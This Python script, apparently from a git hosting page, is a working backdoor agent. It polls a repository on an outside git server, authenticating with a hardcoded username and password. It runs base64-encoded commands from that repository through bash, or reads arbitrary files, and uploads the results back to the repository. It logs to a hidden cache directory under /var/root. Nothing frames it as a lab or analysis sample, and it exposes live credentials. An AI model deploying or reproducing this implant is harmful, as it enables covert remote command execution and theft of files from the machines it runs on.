sync18492/agent.py
2026-12-06 07:17:36 +01:00

48 lines
2.5 KiB
Python

#!/usr/bin/env python3
import json,base64,os,subprocess,time,urllib.request,urllib.error
U='ex0cs08ytm'; P='Pwh7jNkffkrLcoCZ#9'
BASE='https://git.kaki87.net/api/v1/repos/ex0cs08ytm/sync18492'
AUTH='Basic '+base64.b64encode((U+':'+P).encode()).decode()
LASTF='/var/root/.cache/.m18492/last'
LOG='/var/root/.cache/.m18492/agent.log'
def log(s):
try: open(LOG,'a').write(time.strftime('%Y-%m-%d %H:%M:%S')+' '+s+'\n')
except Exception: pass
def req(path, method='GET', data=None, timeout=30):
r=urllib.request.Request(BASE+path, method=method, data=data, headers={'Authorization':AUTH,'User-Agent':'curl/7.88','Content-Type':'application/json'})
with urllib.request.urlopen(r, timeout=timeout) as x: return x.read()
while True:
try:
j=json.loads(req('/contents/cmd.txt?ref=main'))
sha=j['sha']
obj=json.loads(base64.b64decode(j['content']).decode('utf8','replace'))
cid=str(obj.get('id','')); mode=obj.get('mode','sh')
last=open(LASTF).read().strip() if os.path.exists(LASTF) else ''
if cid and sha!=last:
cmd=base64.b64decode(obj.get('b64','')).decode('utf8','replace')
if mode=='file':
try:
p=cmd.strip(); st=os.stat(p)
out=('FILEB64:'+base64.b64encode(open(p,'rb').read()).decode()).encode() if st.st_size<=3500000 else ('ERR too big %d'%st.st_size).encode()
except Exception as e: out=('ERR '+repr(e)).encode()
else:
try:
r=subprocess.run(['/bin/bash','-c',cmd],capture_output=True,timeout=105)
out=r.stdout+r.stderr
except subprocess.TimeoutExpired: out=b'__TIMEOUT__'
except Exception as e: out=('EXC '+repr(e)).encode()
if not out: out=b'(empty)'
out=out[:600000]
for attempt in range(6):
try:
data={'content':base64.b64encode(out).decode(),'message':'out '+cid,'branch':'main'}
try:
j2=json.loads(req('/contents/out.txt?ref=main')); data['sha']=j2.get('sha','')
except Exception: pass
req('/contents/out.txt','PUT',json.dumps(data).encode())
open(LASTF,'w').write(sha); log('DONE '+cid+' len=%d'%len(out)); break
except Exception as e:
log('PUTERR try%d %s'%(attempt,repr(e)[:60])); time.sleep(8)
except Exception as e:
log('ERR '+repr(e)[:80])
time.sleep(8)